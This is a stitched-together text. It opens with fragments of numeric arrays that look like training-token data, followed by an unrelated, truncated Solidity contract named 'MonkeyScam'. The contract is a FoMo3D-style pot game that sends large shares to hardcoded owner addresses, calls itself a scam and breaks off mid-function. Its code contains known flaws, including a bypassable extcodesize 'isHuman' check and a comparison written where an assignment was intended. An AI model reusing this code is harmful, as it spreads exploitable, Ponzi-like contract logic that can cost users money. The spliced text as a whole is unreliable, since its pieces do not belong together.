3088,
1283,
300,
943,
3844,
434,
2430,
358,
312,
474,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
565,
871,
4238,
3088,
1283,
694,
12,
11890,
5034,
943,
3088,
1283,
1769,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
pragma solidity ^0.4.24;
contract MonkeyEvents {
// fired whenever a player registers a name
event onNewName
(
uint256 indexed playerID,
address indexed playerAddress,
bytes32 indexed playerName,
bool isNewPlayer,
uint256 affiliateID,
address affiliateAddress,
bytes32 affiliateName,
uint256 amountPaid,
uint256 timeStamp
);
// fired at end of buy or reload
event onEndTx
(
uint256 compressedData,
uint256 compressedIDs,
bytes32 playerName,
address playerAddress,
uint256 ethIn,
uint256 keysBought,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 genAmount,
uint256 potAmount,
uint256 airDropPot
);
// fired whenever theres a withdraw
event onWithdraw
(
uint256 indexed playerID,
address playerAddress,
bytes32 playerName,
uint256 ethOut,
uint256 timeStamp
);
// fired whenever a withdraw forces end round to be ran
event onWithdrawAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 ethOut,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 genAmount
);
// fired whenever a player tries a buy after round timer
// hit zero, and causes end round to be ran.
event onBuyAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 ethIn,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 genAmount
);
// fired whenever a player tries a reload after round timer
// hit zero, and causes end round to be ran.
event onReLoadAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 genAmount
);
// fired whenever an affiliate is paid
event onAffiliatePayout
(
uint256 indexed affiliateID,
address affiliateAddress,
bytes32 affiliateName,
uint256 indexed buyerID,
uint256 amount,
uint256 timeStamp
);
}
contract modularMonkeyScam is MonkeyEvents {}
contract MonkeyScam is modularMonkeyScam {
using SafeMath for *;
using NameFilter for string;
using LDKeysCalc for uint256;
// TODO: check address
PlayerBookInterface constant private PlayerBook = PlayerBookInterface(0xce7149603aeD4d9468f4025c93cE487c79fC0557);
address private monkeyKing = 0xb75603Fd0B0E55b283DAC9A9ED516A8a9515e3dB;
address private monkeyQueue = 0x2B215DE0Ec7C1A9b72F48aB357f2E1739487c050;
string constant public name = "MonkeyScam Round #1";
string constant public symbol = "MSR";
uint256 private rndGap_ = 0;
// TODO: check time
uint256 constant private rndInit_ = 72 hours; // round timer starts at this
uint256 constant private rndInc_ = 30 seconds; // every full key purchased adds this much to the timer
uint256 constant private rndMax_ = 72 hours; // max length a round timer can be
//==============================================================================
// _| _ _|_ _ _ _ _|_ _ .
// (_|(_| | (_| _\(/_ | |_||_) . (data used to store game info that changes)
//=============================|================================================
uint256 public airDropPot_; // person who gets the airdrop wins part of this pot
uint256 public airDropTracker_ = 0; // incremented each time a "qualified" tx occurs. used to determine winning air drop
//****************
// PLAYER DATA
//****************
mapping (address => uint256) public pIDxAddr_; // (addr => pID) returns player id by address
mapping (bytes32 => uint256) public pIDxName_; // (name => pID) returns player id by name
mapping (uint256 => LDdatasets.Player) public plyr_; // (pID => data) player data
mapping (uint256 => LDdatasets.PlayerRounds) public plyrRnds_; // (pID => rID => data) player round data by player id & round id
mapping (uint256 => mapping (bytes32 => bool)) public plyrNames_; // (pID => name => bool) list of names a player owns. (used so you can change your display name amongst any name you own)
//****************
// ROUND DATA
//****************
LDdatasets.Round public round_; // round data
//****************
// TEAM FEE DATA
//****************
uint256 public fees_ = 40; // fee distribution
uint256 public potSplit_ = 20; // pot split distribution
//==============================================================================
// _ _ _ _|. |`. _ _ _ .
// | | |(_)(_||~|~|(/_| _\ . (these are safety checks)
//==============================================================================
/**
* @dev used to make sure no one can interact with contract until it has
* been activated.
*/
modifier isActivated() {
require(activated_ == true, "its not ready yet");
_;
}
/**
* @dev prevents contracts from interacting with ratscam
*/
modifier isHuman() {
address _addr = msg.sender;
uint256 _codeLength;
assembly {_codeLength := extcodesize(_addr)}
require(_codeLength == 0, "non smart contract address only");
_;
}
/**
* @dev sets boundaries for incoming tx
*/
modifier isWithinLimits(uint256 _eth) {
require(_eth >= 1000000000, "too little money");
require(_eth <= 100000000000000000000000, "too much money");
_;
}
//==============================================================================
// _ |_ |. _ |` _ __|_. _ _ _ .
// |_)|_||_)||(_ ~|~|_|| |(_ | |(_)| |_\ . (use these to interact with contract)
//====|=========================================================================
/**
* @dev emergency buy uses last stored affiliate ID and team snek
*/
function()
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
// set up our tx event data and determine if player is new or not
LDdatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
// fetch player id
uint256 _pID = pIDxAddr_[msg.sender];
// buy core
buyCore(_pID, plyr_[_pID].laff, _eventData_);
}
/**
* @dev converts all incoming ethereum to keys.
* -functionhash- 0x8f38f309 (using ID for affiliate)
* -functionhash- 0x98a0871d (using address for affiliate)
* -functionhash- 0xa65b37a1 (using name for affiliate)
* @param _affCode the ID/address/name of the player who gets the affiliate fee
*/
function buyXid(uint256 _affCode)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
// set up our tx event data and determine if player is new or not
LDdatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
// fetch player id
uint256 _pID = pIDxAddr_[msg.sender];
// manage affiliate residuals
// if no affiliate code was given or player tried to use their own, lolz
if (_affCode == 0 || _affCode == _pID)
{
// use last stored affiliate code
_affCode = plyr_[_pID].laff;
// if affiliate code was given & its not the same as previously stored
} else if (_affCode != plyr_[_pID].laff) {
// update last affiliate
plyr_[_pID].laff = _affCode;
}
// buy core
buyCore(_pID, _affCode, _eventData_);
}
function buyXaddr(address _affCode)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
// set up our tx event data and determine if player is new or not
LDdatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
// fetch player id
uint256 _pID = pIDxAddr_[msg.sender];
// manage affiliate residuals
uint256 _affID;
// if no affiliate code was given or player tried to use their own, lolz
if (_affCode == address(0) || _affCode == msg.sender)
{
// use last stored affiliate code
_affID = plyr_[_pID].laff;
// if affiliate code was given
} else {
// get affiliate ID from aff Code
_affID = pIDxAddr_[_affCode];
// if affID is not the same as previously stored
if (_affID != plyr_[_pID].laff)
{
// update last affiliate
plyr_[_pID].laff = _affID;
}
}
// buy core
buyCore(_pID, _affID, _eventData_);
}
function buyXname(bytes32 _affCode)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
// set up our tx event data and determine if player is new or not
LDdatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
// fetch player id
uint256 _pID = pIDxAddr_[msg.sender];
// manage affiliate residuals
uint256 _affID;
// if no affiliate code was given or player tried to use their own, lolz
if (_affCode == '' || _affCode == plyr_[_pID].name)
{
// use last stored affiliate code
_affID = plyr_[_pID].laff;
// if affiliate code was given
} else {
// get affiliate ID from aff Code
_affID = pIDxName_[_affCode];
// if affID is not the same as previously stored
if (_affID != plyr_[_pID].laff)
{
// update last affiliate
plyr_[_pID].laff = _affID;
}
}
// buy core
buyCore(_pID, _affID, _eventData_);
}
/**
* @dev essentially the same as buy, but instead of you sending ether
* from your wallet, it uses your unwithdrawn earnings.
* -functionhash- 0x349cdcac (using ID for affiliate)
* -functionhash- 0x82bfc739 (using address for affiliate)
* -functionhash- 0x079ce327 (using name for affiliate)
* @param _affCode the ID/address/name of the player who gets the affiliate fee
* @param _eth amount of earnings to use (remainder returned to gen vault)
*/
function reLoadXid(uint256 _affCode, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
// set up our tx event data
LDdatasets.EventReturns memory _eventData_;
// fetch player ID
uint256 _pID = pIDxAddr_[msg.sender];
// manage affiliate residuals
// if no affiliate code was given or player tried to use their own, lolz
if (_affCode == 0 || _affCode == _pID)
{
// use last stored affiliate code
_affCode = plyr_[_pID].laff;
// if affiliate code was given & its not the same as previously stored
} else if (_affCode != plyr_[_pID].laff) {
// update last affiliate
plyr_[_pID].laff = _affCode;
}
// reload core
reLoadCore(_pID, _affCode, _eth, _eventData_);
}
function reLoadXaddr(address _affCode, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
// set up our tx event data
LDdatasets.EventReturns memory _eventData_;
// fetch player ID
uint256 _pID = pIDxAddr_[msg.sender];
// manage affiliate residuals
uint256 _affID;
// if no affiliate code was given or player tried to use their own, lolz
if (_affCode == address(0) || _affCode == msg.sender)
{
// use last stored affiliate code
_affID = plyr_[_pID].laff;
// if affiliate code was given
} else {
// get affiliate ID from aff Code
_affID = pIDxAddr_[_affCode];
// if affID is not the same as previously stored
if (_affID != plyr_[_pID].laff)
{
// update last affiliate
plyr_[_pID].laff = _affID;
}
}
// reload core
reLoadCore(_pID, _affID, _eth, _eventData_);
}
function reLoadXname(bytes32 _affCode, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
// set up our tx event data
LDdatasets.EventReturns memory _eventData_;
// fetch player ID
uint256 _pID = pIDxAddr_[msg.sender];
// manage affiliate residuals
uint256 _affID;
// if no affiliate code was given or player tried to use their own, lolz
if (_affCode == '' || _affCode == plyr_[_pID].name)
{
// use last stored affiliate code
_affID = plyr_[_pID].laff;
// if affiliate code was given
} else {
// get affiliate ID from aff Code
_affID = pIDxName_[_affCode];
// if affID is not the same as previously stored
if (_affID != plyr_[_pID].laff)
{
// update last affiliate
plyr_[_pID].laff = _affID;
}
}
// reload core
reLoadCore(_pID, _affID, _eth, _eventData_);
}
/**
* @dev withdraws all of your earnings.
* -functionhash- 0x3ccfd60b
*/
function withdraw()
isActivated()
isHuman()
public
{
// grab time
uint256 _now = now;
// fetch player ID
uint256 _pID = pIDxAddr_[msg.sender];
// setup temp var for player eth
uint256 _eth;
// check to see if round has ended and no one has run round end yet
if (_now > round_.end && round_.ended == false && round_.plyr != 0)
{
// set up our tx event data
LDdatasets.EventReturns memory _eventData_;
// end the round (distributes pot)
round_.ended = true;
_eventData_ = endRound(_eventData_);
// get their earnings
_eth = withdrawEarnings(_pID);
// gib moni
if (_eth > 0)
plyr_[_pID].addr.transfer(_eth);
// build event data
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
// fire withdraw and distribute event
emit MonkeyEvents.onWithdrawAndDistribute
(
msg.sender,
plyr_[_pID].name,
_eth,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.genAmount
);
// in any other situation
} else {
// get their earnings
_eth = withdrawEarnings(_pID);
// gib moni
if (_eth > 0)
plyr_[_pID].addr.transfer(_eth);
// fire withdraw event
emit MonkeyEvents.onWithdraw(_pID, msg.sender, plyr_[_pID].name, _eth, _now);
}
}
/**
* @dev use these to register names. they are just wrappers that will send the
* registration requests to the PlayerBook contract. So registering here is the
* same as registering there. UI will always display the last name you registered.
* but you will still own all previously registered names to use as affiliate
* links.
* - must pay a registration fee.
* - name must be unique
* - names will be converted to lowercase
* - name cannot start or end with a space
* - cannot have more than 1 space in a row
* - cannot be only numbers
* - cannot start with 0x
* - name must be at least 1 char
* - max length of 32 characters long
* - allowed characters: a-z, 0-9, and space
* -functionhash- 0x921dec21 (using ID for affiliate)
* -functionhash- 0x3ddd4698 (using address for affiliate)
* -functionhash- 0x685ffd83 (using name for affiliate)
* @param _nameString players desired name
* @param _affCode affiliate ID, address, or name of who referred you
* @param _all set to true if you want this to push your info to all games
* (this might cost a lot of gas)
*/
function registerNameXID(string _nameString, uint256 _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXIDFromDapp.value(_paid)(_addr, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
// fire event
emit MonkeyEvents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function registerNameXaddr(string _nameString, address _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXaddrFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
// fire event
emit MonkeyEvents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function registerNameXname(string _nameString, bytes32 _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXnameFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
// fire event
emit MonkeyEvents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
//==============================================================================
// _ _ _|__|_ _ _ _ .
// (_|(/_ | | (/_| _\ . (for UI & viewing things on etherscan)
//=====_|=======================================================================
/**
* @dev return the price buyer will pay for next 1 individual key.
* -functionhash- 0x018a25e8
* @return price for next key bought (in wei format)
*/
function getBuyPrice()
public
view
returns(uint256)
{
// grab time
uint256 _now = now;
// are we in a round?
if (_now > round_.strt + rndGap_ && (_now <= round_.end || (_now > round_.end && round_.plyr == 0)))
return ( (round_.keys.add(1000000000000000000)).ethRec(1000000000000000000) );
else // rounds over. need price for new round
return ( 75000000000000 ); // init
}
/**
* @dev returns time left. dont spam this, you'll ddos yourself from your node
* provider
* -functionhash- 0xc7e284b8
* @return time left in seconds
*/
function getTimeLeft()
public
view
returns(uint256)
{
// grab time
uint256 _now = now;
if (_now < round_.end)
if (_now > round_.strt + rndGap_)
return( (round_.end).sub(_now) );
else
return( (round_.strt + rndGap_).sub(_now));
else
return(0);
}
/**
* @dev returns player earnings per vaults
* -functionhash- 0x63066434
* @return winnings vault
* @return general vault
* @return affiliate vault
*/
function getPlayerVaults(uint256 _pID)
public
view
returns(uint256 ,uint256, uint256)
{
// if round has ended. but round end has not been run (so contract has not distributed winnings)
if (now > round_.end && round_.ended == false && round_.plyr != 0)
{
// if player is winner
if (round_.plyr == _pID)
{
return
(
(plyr_[_pID].win).add( ((round_.pot).mul(45)) / 100 ),
(plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID).sub(plyrRnds_[_pID].mask) ),
plyr_[_pID].aff
);
// if player is not the winner
} else {
return
(
plyr_[_pID].win,
(plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID).sub(plyrRnds_[_pID].mask) ),
plyr_[_pID].aff
);
}
// if round is still going on, or round has ended and round end has been ran
} else {
return
(
plyr_[_pID].win,
(plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID)),
plyr_[_pID].aff
);
}
}
/**
* solidity hates stack limits. this lets us avoid that hate
*/
function getPlayerVaultsHelper(uint256 _pID)
private
view
returns(uint256)
{
return( ((((round_.mask).add(((((round_.pot).mul(potSplit_)) / 100).mul(1000000000000000000)) / (round_.keys))).mul(plyrRnds_[_pID].keys)) / 1000000000000000000) );
}
/**
* @dev returns all current round info needed for front end
* -functionhash- 0x747dff42
* @return total keys
* @return time ends
* @return time started
* @return current pot
* @return current player ID in lead
* @return current player in leads address
* @return current player in leads name
* @return airdrop tracker
* @return airdrop pot
*/
function getCurrentRoundInfo()
public
view
returns(uint256, uint256, uint256, uint256, uint256, address, bytes32, uint256, uint256)
{
return
(
round_.keys, //0
round_.end, //1
round_.strt, //2
round_.pot, //3
round_.plyr, //4
plyr_[round_.plyr].addr, //5
plyr_[round_.plyr].name, //6
airDropTracker_, //7
airDropPot_ //8
);
}
/**
* @dev returns player info based on address. if no address is given, it will
* use msg.sender
* -functionhash- 0xee0b5d8b
* @param _addr address of the player you want to lookup
* @return player ID
* @return player name
* @return keys owned (current round)
* @return winnings vault
* @return general vault
* @return affiliate vault
* @return player round eth
*/
function getPlayerInfoByAddress(address _addr)
public
view
returns(uint256, bytes32, uint256, uint256, uint256, uint256, uint256)
{
if (_addr == address(0))
{
_addr == msg.sender;
}
uint256 _pID = pIDxAddr_[_addr];
return
(
_pID, //0
plyr_[_pID].name, //1
plyrRnds_[_pID].keys, //2
plyr_[_pID].win, //3
(plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID)), //4
plyr_[_pID].aff, //5
plyrRnds_[_pID].eth //6
);
}
//==============================================================================
// _ _ _ _ | _ _ . _ .
// (_(_)| (/_ |(_)(_||(_ . (this + tools + calcs + modules = our softwares engine)
//=====================_|=======================================================
/**
* @dev logic runs whenever a buy order is executed. determines how to handle
* incoming eth depending on if we are in an active round or not
*/
function buyCore(uint256 _pID, uint256 _affID, LDdatasets.EventReturns memory _eventData_)
private
{
// grab time
uint256 _now = now;
// if round is active
if (_now > round_.strt + rndGap_ && (_now <= round_.end || (_now > round_.end && round_.plyr == 0)))
{
// call core
core(_pID, msg.value, _affID, _eventData_);
// if round is not active
} else {
// check to see if end round needs to be ran
if (_now > round_.end && round_.ended == false)
{
// end the round (distributes pot) & start new round
round_.ended = true;
_eventData_ = endRound(_eventData_);
// build event data
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
// fire buy and distribute event
emit MonkeyEvents.onBuyAndDistribute
(
msg.sender,
plyr_[_pID].name,
msg.value,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.genAmount
);
}
// put eth in players vault
plyr_[_pID].gen = plyr_[_pID].gen.add(msg.value);
}
}
/**
* @dev logic runs whenever a reload order is executed. determines how to handle
* incoming eth depending on if we are in an active round or not
*/
function reLoadCore(uint256 _pID, uint256 _affID, uint256 _eth, LDdatasets.EventReturns memory _eventData_)
private
{
// grab time
uint256 _now = now;
// if round is active
if (_now > round_.strt + rndGap_ && (_now <= round_.end || (_now > round_.end && round_.plyr == 0)))
{
// get earnings from all vaults and return unused to gen vault
// because we use a custom safemath library. this will throw if player
// tried to spend more eth than they have.
plyr_[_pID].gen = withdrawEarnings(_pID).sub(_eth);
// call core
core(_pID, _eth, _affID, _eventData_);
// if round is not active and end round needs to be ran
} else if (_now > round_.end && round_.ended == false) {
// end the round (distributes pot) & start new round
round_.ended = true;
_eventData_ = endRound(_eventData_);
// build event data
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
// fire buy and distribute event
emit MonkeyEvents.onReLoadAndDistribute
(
msg.sender,
plyr_[_pID].name,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.genAmount
);
}
}
/**
* @dev this is the core logic for any buy/reload that happens while a round
* is live.
*/
function core(uint256 _pID, uint256 _eth, uint256 _affID, LDdatasets.EventReturns memory _eventData_)
private
{
// if player is new to round
if (plyrRnds_[_pID].keys == 0)
_eventData_ = managePlayer(_pID, _eventData_);
// early round eth limiter
if (round_.eth < 100000000000000000000 && plyrRnds_[_pID].eth.add(_eth) > 10000000000000000000)
{
uint256 _availableLimit = (10000000000000000000).sub(plyrRnds_[_pID].eth);
uint256 _refund = _eth.sub(_availableLimit);
plyr_[_pID].gen = plyr_[_pID].gen.add(_refund);
_eth = _availableLimit;
}
// if eth left is greater than min eth allowed (sorry no pocket lint)
if (_eth > 1000000000)
{
// mint the new keys
uint256 _keys = (round_.eth).keysRec(_eth);
// if they bought at least 1 whole key
if (_keys >= 1000000000000000000)
{
updateTimer(_keys);
// set new leaders
if (round_.plyr != _pID)
round_.plyr = _pID;
// set the new leader bool to true
_eventData_.compressedData = _eventData_.compressedData + 100;
}
// manage airdrops
if (_eth >= 100000000000000000) // larger 0.1eth
{
airDropTracker_++;
if (airdrop() == true)
{
// gib muni
uint256 _prize;
if (_eth >= 10000000000000000000) // larger 10eth
{
// calculate prize and give it to winner
_prize = ((airDropPot_).mul(75)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
// adjust airDropPot
airDropPot_ = (airDropPot_).sub(_prize);
// let event know a tier 3 prize was won
_eventData_.compressedData += 300000000000000000000000000000000;
} else if (_eth >= 1000000000000000000 && _eth < 10000000000000000000) {
// calculate prize and give it to winner
_prize = ((airDropPot_).mul(50)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
// adjust airDropPot
airDropPot_ = (airDropPot_).sub(_prize);
// let event know a tier 2 prize was won
_eventData_.compressedData += 200000000000000000000000000000000;
} else if (_eth >= 100000000000000000 && _eth < 1000000000000000000) {
// calculate prize and give it to winner
_prize = ((airDropPot_).mul(25)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
// adjust airDropPot
airDropPot_ = (airDropPot_).sub(_prize);
// let event know a tier 1 prize was won
_eventData_.compressedData += 100000000000000000000000000000000;
}
// set airdrop happened bool to true
_eventData_.compressedData += 10000000000000000000000000000000;
// let event know how much was won
_eventData_.compressedData += _prize * 1000000000000000000000000000000000;
// reset air drop tracker
airDropTracker_ = 0;
}
}
// store the air drop tracker number (number of buys since last airdrop)
_eventData_.compressedData = _eventData_.compressedData + (airDropTracker_ * 1000);
// update player
plyrRnds_[_pID].keys = _keys.add(plyrRnds_[_pID].keys);
plyrRnds_[_pID].eth = _eth.add(plyrRnds_[_pID].eth);
// update round
round_.keys = _keys.add(round_.keys);
round_.eth = _eth.add(round_.eth);
// distribute eth
_eventData_ = distributeExternal(_pID, _eth, _affID, _eventData_);
_eventData_ = distributeInternal(_pID, _eth, _keys, _eventData_);
// call end tx function to fire end tx event.
endTx(_pID, _eth, _keys, _eventData_);
}
}
//==============================================================================
// _ _ | _ | _ _|_ _ _ _ .
// (_(_||(_|_||(_| | (_)| _\ .
//==============================================================================
/**
* @dev calculates unmasked earnings (just calculates, does not update mask)
* @return earnings in wei format
*/
function calcUnMaskedEarnings(uint256 _pID)
private
view
returns(uint256)
{
return((((round_.mask).mul(plyrRnds_[_pID].keys)) / (1000000000000000000)).sub(plyrRnds_[_pID].mask));
}
/**
* @dev returns the amount of keys you would get given an amount of eth.
* -functionhash- 0xce89c80c
* @param _eth amount of eth sent in
* @return keys received
*/
function calcKeysReceived(uint256 _eth)
public
view
returns(uint256)
{
// grab time
uint256 _now = now;
// are we in a round?
if (_now > round_.strt + rndGap_ && (_now <= round_.end || (_now > round_.end && round_.plyr == 0)))
return ( (round_.eth).keysRec(_eth) );
else // rounds over. need keys for new round
return ( (_eth).keys() );
}
/**
* @dev returns current eth price for X keys.
* -functionhash- 0xcf808000
* @param _keys number of keys desired (in 18 decimal format)
* @return amount of eth needed to send
*/
function iWantXKeys(uint256 _keys)
public
view
returns(uint256)
{
// grab time
uint256 _now = now;
// are we in a round?
if (_now > round_.strt + rndGap_ && (_now <= round_.end || (_now > round_.end && round_.plyr == 0)))
return ( (round_.keys.add(_keys)).ethRec(_keys) );
else // rounds over. need price for new round
return ( (_keys).eth() );
}
//==============================================================================
// _|_ _ _ | _ .
// | (_)(_)|_\ .
//==============================================================================
/**
* @dev receives name/player info from names contract
*/
function receivePlayerInfo(uint256 _pID, address _addr, bytes32 _name, uint256 _laff)
external
{
require (msg.sender == address(PlayerBook), "only PlayerBook can call this function");
if (pIDxAddr_[_addr] != _pID)
pIDxAddr_[_addr] = _pID;
if (pIDxName_[_name] != _pID)
pIDxName_[_name] = _pID;
if (plyr_[_pID].addr != _addr)
plyr_[_pID].addr = _addr;
if (plyr_[_pID].name != _name)
plyr_[_pID].name = _name;
if (plyr_[_pID].laff != _laff)
plyr_[_pID].laff = _laff;
if (plyrNames_[_pID][_name] == false)
plyrNames_[_pID][_name] = true;
}
/**
* @dev receives entire player name list
*/
function receivePlayerNameList(uint256 _pID, bytes32 _name)
external
{
require (msg.sender == address(PlayerBook), "only PlayerBook can call this function");
if(plyrNames_[_pID][_name] == false)
plyrNames_[_pID][_name] = true;
}
/**
* @dev gets existing or registers new pID. use this when a player may be new
* @return pID
*/
function determinePID(LDdatasets.EventReturns memory _eventData_)
private
returns (LDdatasets.EventReturns)
{
uint256 _pID = pIDxAddr_[msg.sender];
// if player is new to this version of ratscam
if (_pID == 0)
{
// grab their player ID, name and last aff ID, from player names contract
_pID = PlayerBook.getPlayerID(msg.sender);
bytes32 _name = PlayerBook.getPlayerName(_pID);
uint256 _laff = PlayerBook.getPlayerLAff(_pID);
// set up player account
pIDxAddr_[msg.sender] = _pID;
plyr_[_pID].addr = msg.sender;
if (_name != "")
{
pIDxName_[_name] = _pID;
plyr_[_pID].name = _name;
plyrNames_[_pID][_name] = true;
}
if (_laff != 0 && _laff != _pID)
plyr_[_pID].laff = _laff;
// set the new player bool to true
_eventData_.compressedData = _eventData_.compressedData + 1;
}
return (_eventData_);
}
/**
* @dev decides if round end needs to be run & new round started. and if
* player unmasked earnings from previously played rounds need to be moved.
*/
function managePlayer(uint256 _pID, LDdatasets.EventReturns memory _eventData_)
private
returns (LDdatasets.EventReturns)
{
// set the joined round bool to true
_eventData_.compressedData = _eventData_.compressedData + 10;
return(_eventData_);
}
/**
* @dev ends the round. manages paying out winner/splitting up pot
*/
function endRound(LDdatasets.EventReturns memory _eventData_)
private
returns (LDdatasets.EventReturns)
{
// grab our winning player and team id's
uint256 _winPID = round_.plyr;
// grab our pot amount
// add airdrop pot into the final pot
uint256 _pot = round_.pot + airDropPot_;
// calculate our winner share, community rewards, gen share,
uint256 _win = (_pot.mul(40)) / 100;
uint256 _com = (_pot.mul(30)) / 100;
uint256 _queen = (_pot.mul(10)) / 100;
uint256 _gen = (_pot.mul(20)) / 100;
// calculate ppt for round mask
uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_.keys);
